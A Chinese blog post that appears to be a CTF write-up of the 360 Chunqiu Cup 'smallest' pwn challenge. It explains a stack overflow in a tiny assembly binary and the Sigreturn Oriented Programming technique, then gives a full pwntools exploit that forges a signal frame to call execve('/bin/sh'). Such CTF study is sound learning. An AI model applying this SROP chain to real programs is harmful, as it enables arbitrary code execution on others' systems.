文章目录
  1. 1. 0x00 序
  2. 2. 0x01 漏洞分析
  3. 3. 0x02 srop原理
  4. 4. 0x03漏洞利用
  5. 5. 0x04参考资料

360春秋杯smallest-pwn的学习与利用


0x00 序

这是上个月的360春秋杯线上比赛中的一个pwn题,当时比赛的时候虽然漏洞非常明显,
但是还是没有任何思路去利用,后来看到wp后才了解到利用的方法,wp中介绍了思路没有exp,
我自己尝试着做了一遍,写了一个exp,作为pwn的新手,仅仅希望给新手一个帮助,也为自己做一个记录

题目文件:
https://github.com/Reshahar/BlogFile/blob/master/smallest/smallest

0x01 漏洞分析

首先将程序smallest放到ida中,很快就分析结束了,因为程序非常小,人如其名,具体如下:

.text:00000000004000B0 start           proc near
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h
.text:00000000004000B8                 mov     rsi, rsp
.text:00000000004000BB                 mov     rdi, rax
.text:00000000004000BE                 syscall
.text:00000000004000C0                 retn
.text:00000000004000C0 start           endp

很明显的栈溢出漏洞,缓冲区大小400h大小,足够大了,但是使用gdb(peda插件)查看保护属性

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

可以看到开启了nx,所以不能直接植入shellcode,首先想到的就是rop,但是程序使用asm写的,没有任何的依赖库,根本找不到gadget

0x02 srop原理

比赛的时候也就分析到上面这样,后来看到wp后才知道srop技术,下面简单讲解一下srop
首先说一下rop(返回导向编程),这是一种绕过nx的一种方法,简单来说就是在程序或者依赖库中寻找一些以ret结束的指令,这里我们叫他gadget,由这些gadget组成一个chain来执行某些功能,
srop的使用和rop相当相似,而且更简单,这里大家最好先去了解一下rop的原理和使用技巧,这里我就不再多说,重点是介绍srop
srop(Sigreturn Oriented Programming),其中的Sigreturn是一个系统调用,在linux中存在一种机制signal信号机制,在系统的很多情况下,存在应用层和内核层的交互,很多通过signal来实现。
如果内核向进程发送一个signal,会有如下过程:

1.这个进程会被挂起,进入内核
2.内核保存程序的相应的上下文,调用signal handler
3.signal handler结束后,内核恢复保存的相应的上下文
4.进程继续执行

这里有一个很关键的点,就是程序相应的上下文(进程挂起时的寄存器等等信息),而这些信息保存在栈上,并且内核在恢复的时候并没有相关的校验,也就是说我们可以更改,也就是说我们可以间接控制寄存器。

下面在介绍一下这个上下文的结构(Signal frame)

0x00 re_Sigreturn uc_flags
0x10 &us uc_stack.ss_sp
0x20 uc_stack.ss_flags uc_stack.ss_size
0x30 r8 r9
0x40 r10 r11
0x50 r12 r13
0x60 r14 r15
0x70 rdi rsi
0x80 rbp rbx
0x90 rdx rax
0xA0 rcx rsp
0xB0 rip rflags
0xC0 cs/gs/fs err
0xD0 trapno oldmask(unused)
0xE0 cr2(segfalut_addr) &fpstate
0xF0 __reserved sigmask

其中re_Sigreturn这是一个系统调用,它会将这个结构体数据恢复到相应寄存器中,我们可以替换rip的值来控制程序流程,也可以同时修改rsp的地址,使程序形成一个chian,从而通过srop实现更多的功能

利用srop需要几个条件:

1.程序存在栈溢出漏洞
2.知道栈地址或者可以知道需要使用字符串的地址等
3.知道sigreturn的地址
3.知道syscall的地址或者syscall gadget地址

0x03漏洞利用

上面介绍了srop的原理,我们可以使用上面的原理来利用smallest这个pwn题
这个题满足上面的几个条件:

1.程序存在栈溢出
2.栈地址可以通过调试获得
3.syscall ret 地址我们明显知道

唯一不满足的就是没有sigreturn的地址,因为这是一个系统调用,我们可以通过syscall来实现执行sigreturn,这样我们就需要控制rax的值,因为rax存储系统调用的调用号,
而rax的值也是用来存储返回值得,所以我们可以通过程序的功能来读取0xf个字符(0xf sigreturn的调用号),想到这里的时候当时我自己钻进牛角尖了,一直在考虑怎么布置好Signal frame,同时发0xf个字节,
想了好久,最后换了一个角度,很快就想明白了,我们可以发两个playload

1.设置好Signal frame,同时控制程序让它再读一次数据 
2.设置rax的值

我写的playload的具体结构如下:

playload1="rereadaddr"+‘padd’*8+frame+"/bin/sh"
playload2="syscalladdr"+'padd'*7        长度0xf

上面的playload中的一些数据,需要使用gdb调试获取:

1."/bin/sh"的地址,将rdi设置成其地址这是函数的第一个参数
2.设置rax为59(execve系统调用)
3.设置rip 等于syacall地址

完整exp如下:

这里我使用了pwntools,这样会很迅速的写出exp

from pwn import *

p = process('./smallest')

reread = 0x4000b0
syscall = 0x4000be

rereadaddr = p64(reread)
syscalladdr = p64(syscall)

context.clear()
context.arch = "amd64"

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x7fffffffe4e8
frame.rip = syscall

print '###rereadaddr'+rereadaddr +'###'
print '###syscalladdr'+syscalladdr +'###'

binsh='/bin/sh' 

print '###send playload1####'

playload1 = rereadaddr+'a'*8+ str(frame)+binsh
p.send(playload1)

print '###send playload2####'

playload2 = syscalladdr+'a'*7

p.send(playload2)

p.interactive()

0x04参考资料

[1]:http://www.2cto.com/article/201512/452080.html Sigreturn Oriented Programming (SROP) Attack攻击原理
[2]:https://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/ Playing with signals : An overview on Sigreturn Oriented Programming

文章目录
  1. 1. 0x00 序
  2. 2. 0x01 漏洞分析
  3. 3. 0x02 srop原理
  4. 4. 0x03漏洞利用
  5. 5. 0x04参考资料